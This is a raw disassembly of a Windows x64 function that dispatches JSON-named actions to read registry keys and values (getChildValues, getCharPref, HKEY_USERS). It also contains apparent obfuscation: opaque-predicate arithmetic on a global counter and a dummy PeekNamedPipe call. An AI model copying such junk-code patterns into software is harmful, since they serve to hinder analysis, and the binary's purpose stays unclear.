mov dl, r15b
lea rcx, [rsp + 0x4bd0]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056fde
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov r13d, edi
mov dword [rsp + 0x110], edi
mov r12d, 0x7ffe
mov dword [rsp + 0x100], r12d
lea rdx, str.getChildValues
lea rcx, [rsp + 0x50]
call fcn.140003094
mov rcx, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove rcx, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x2a0], rcx
mov qword [rsp + 0x740], rcx
mov ecx, r12d
call fcn.1400bcf98
mov rbx, rax
mov qword [rsp + 0x730], rax
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.1400c2d60
mov rax, qword [rsp + 0x2a0]
mov edx, r13d
add r13d, r15d
mov dword [rsp + 0x110], r13d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x100]
mov r8, rbx
mov rcx, qword [rsp + 0x700]
call rax
mov dword [rsp + 0x490], eax
test eax, eax
jne 0x140057153
mov rdx, rbx
lea rcx, [rsp + 0x710]
call fcn.140002df8
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.14001b514
nop
mov rcx, qword [rsp + 0x710]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x720], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057111
mov rdx, qword [rsp + 0x720]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r8, r12
xor edx, edx
mov rbx, qword [rsp + 0x730]
mov rcx, rbx
call fcn.1400c2d60
mov dword [rsp + 0x100], r12d
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x118], rax
mov r13d, dword [rsp + 0x110]
mov rax, qword [rsp + 0x740]
jmp 0x140057077
cmp eax, 0x103
je 0x140057177
mov rax, qword [rsp + 0x118]
sub rax, qword [rsp + 0x188]
test rax, 0xfffffffffffffff8
mov byte [rsp + 0x41], dil
je 0x14005717c
mov byte [rsp + 0x41], r15b
mov rcx, qword [rsp + 0x278]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x750], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400572d4
mov rdx, qword [rsp + 0x750]
jmp 0x1400572cb
lea rdx, str.getChildValues
lea rcx, [rsp + 0x50]
call fcn.140003094
mov rdx, rbx
lea rcx, [rsp + 0x60]
test eax, eax
jne 0x140057250
call fcn.14003011c
mov qword [rsp + 0xd40], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xd50], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd60], rdx
lea rcx, [rsp + 0x308]
call fcn.140002df8
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x308]
call fcn.14003deec
mov byte [rsp + 0x41], al
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x760], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400572d4
mov rdx, qword [rsp + 0x760]
jmp 0x1400572cb
call fcn.14003011c
mov qword [rsp + 0xd70], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xd80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd90], rdx
lea rcx, [rsp + 0x318]
call fcn.140002df8
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x318]
call fcn.14003dbe0
mov byte [rsp + 0x41], al
mov rcx, qword [rsp + 0x318]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400572d4
mov rdx, qword [rsp + 0x770]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x41], dil
je 0x1400575d5
lea rdx, [0x14013e548]
lea rcx, [rsp + 0xc0]
call fcn.140001f6c
nop
mov rbx, qword [rsp + 0x188]
mov r12d, 8
mov qword [rsp + 0x7e0], rbx
cmp rbx, qword [rsp + 0x190]
je 0x140057473
lea rdx, [0x14013e550]
lea rcx, [rsp + 0x338]
call fcn.140002df8
nop
lea rdx, [0x14013e540]
lea rcx, [rsp + 0x328]
call fcn.140002df8
nop
mov r8, rbx
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x7a0]
call fcn.14000de60
nop
lea r8, [rsp + 0x338]
mov rdx, rax
lea rcx, [rsp + 0x780]
call fcn.14000de60
mov qword [rsp + 0xda0], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x95c], r8d
mov qword [rsp + 0xdb0], rdx
lea rcx, [rsp + 0xc0]
call fcn.14000e884
nop
mov rcx, qword [rsp + 0x780]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x790], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400573d3
mov rdx, qword [rsp + 0x790]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057406
mov rdx, qword [rsp + 0x7b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x328]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057439
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005746b
mov rdx, qword [rsp + 0x7d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rbx, r12
jmp 0x140057302
mov rax, qword [rsp + 0xc0]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x4a0], r8d
dec r8d
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0xc0]
call fcn.140018f70
nop
lea r8, [0x14013e544]
mov rdx, rax
lea rcx, [rsp + 0x7f0]
call fcn.140019018
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.140002038
nop
mov rcx, qword [rsp + 0x7f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x800], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400574fc
mov rdx, qword [rsp + 0x800]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x810]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x820], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005752e
mov rdx, qword [rsp + 0x820]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0xc0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x718], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xdc0], rax
test rax, rax
jne 0x140057558
call fcn.140002270
mov qword [r14 + 8], rax
mov word [r14], r12w
mov ecx, dword [0x1401aad80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
mov eax, 0x16
cmp ecx, eax
jne 0x1400575a1
mov edx, 0xf3
lea r8d, [rdx + 1]
lea rcx, str._d__d_n
call fcn.1400be234
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x448], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400575e4
mov rdx, qword [rsp + 0x448]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400575e4
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x188]
call fcn.140019620
jmp 0x140056d9d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xdd0], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xde0], rax
cmp byte [rax + 8], 4
jne 0x140057b74
test r14, r14
je 0x140057b74
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xdf0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xe00], rax
cmp byte [rax + 8], 4
jne 0x140057b74
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe10], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xe20], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe30], rdx
lea rcx, [rsp + 0xe8]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe40], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xe50], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe60], rdx
lea rcx, [rsp + 0xd8]
call fcn.140002df8
nop
mov rbx, rdi
mov qword [rsp + 0x148], rbx
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe70], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xe80], rax
lea rcx, [0x1401abee0]
cmp rax, rcx
je 0x1400577f7
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe90], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xea0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xeb0], rdx
lea rcx, [rsp + 0x348]
call fcn.140002df8
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x148], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x348]
call fcn.140003094
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x148], rbx
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x840], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400577ef
mov rdx, qword [rsp + 0x840]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x148]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x14005796f
lea rcx, [rsp + 0x150]
call fcn.140001f34
nop
test rbx, rbx
je 0x140057848
mov r9, rbx
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x150]
call fcn.14003cf2c
jmp 0x1400578db
lea rax, [rsp + 0x850]
mov qword [rsp + 0xec0], rax
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x850]
call fcn.140001f6c
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401a5d58]
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x860]
call fcn.14003c8b8
nop
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.140002038
nop
mov rcx, qword [rsp + 0x860]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x870], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400578db
mov rdx, qword [rsp + 0x870]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov r13, qword [rsp + 0x48]
jmp 0x1400578fc
mov rcx, qword [rsp + 0x150]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4b0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xed0], rax
test rax, rax
jne 0x140057926
call fcn.140002270
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
mov rcx, qword [rsp + 0x150]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x890], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057b0d
mov rdx, qword [rsp + 0x890]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140057b0d
mov dword [rsp + 0x90], esi
or r12d, 0xffffffff
mov dword [rsp + 0xa0], r12d
test rbx, rbx
je 0x140057a82
mov r9, rbx
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xa0]
call fcn.14003d070
mov bl, al
mov byte [rsp + 0x82], al
mov r11d, esi
cmp dword [rsp + 0xa0], r12d
cmovne r11d, dword [rsp + 0xa0]
mov dword [rsp + 0x90], r11d
mov r9d, dword [0x1401aad80]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 0xf
jne 0x140057ae1
mov r8d, edi
mov dword [rsp + reloc.OLEAUT32.dll_OleTranslateColor], edi
mov r12d, 8
cmp r8d, 0x100
jge 0x140057ae1
mov edx, r8d
mov dword [rsp + 0x294], edx
mov r10d, edi
mov dword [rsp + 0x240], edi
cmp r10d, r12d
jae 0x140057a6b
mov ecx, edx
and ecx, r15d
sub ecx, r15d
not ecx
and ecx, r9d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x294], edx
add r10d, r15d
mov dword [rsp + 0x240], r10d
jmp 0x140057a3d
add r9d, edx
mov dword [0x1401aad80], r9d
add r8d, r15d
mov dword [rsp + reloc.OLEAUT32.dll_OleTranslateColor], r8d
jmp 0x140057a1c
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0xee0], rax
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x8a0]
call fcn.140001f6c
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401a5d58]
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x90]
call fcn.14003d408
mov bl, al
mov byte [rsp + 0x82], al
mov r11d, dword [rsp + 0x90]
cmp r11d, esi
jne 0x140057afb
test bl, bl
jne 0x140057afb
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140057b08
mov dword [r14 + 8], r11d
mov eax, 0x16
mov word [r14], ax
mov r13, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xd8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057b40
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xe8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057b79
mov rdx, qword [rsp + 0x8c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140057b79
mov r13, qword [rsp + 0x48]
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 4
jne 0x140057bbd
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
nop
lea rcx, [rsp + 0x50]
call fcn.140002008
nop
lea rcx, [rsp + 0x4bd0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x78]
call fcn.140002008
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, r15b
jmp 0x140057cfe
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x368]
call fcn.140002df8
nop
lea rdx, [rsp + 0x368]
mov rcx, qword [r13 + 0x40]
call fcn.14004d1ec
nop
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057c5c
mov rdx, qword [rsp + 0x8d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x140057c74
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], rbx
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057cbc
mov rdx, qword [rsp + 0x8e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 6
jne 0x140057d52
mov ecx, edi
lea rdx, [rsp + 0x5d70]
mov eax, dword [rdx]
imul eax, eax, 0x42
add r8d, eax
add ecx, r15d
lea rdx, [rdx + 4]
movsxd rax, ecx
cmp rax, 0x224
jb 0x140057d31
mov dword [0x1401aad80], r8d
test bl, bl
jne 0x140057d5f
test r14, r14
je 0x140057d5f
mov word [r14], r15w
mov ecx, r8d
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xa
jne 0x140057d9f
cmp r8d, r15d
jle 0x140057d98
mov eax, r8d
cdq
idiv r15d
inc r15d
add r15d, edx
cmp r15d, r8d
jl 0x140057d86
mov dword [0x1401aad80], r15d
mov rdx, qword [r13]
sub rdx, 0x18
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x140057dbe
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov al, bl
mov rcx, qword [rsp + 0x63a0]
xor rcx, rsp
call fcn.1400bd920
add rsp, 0x63b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret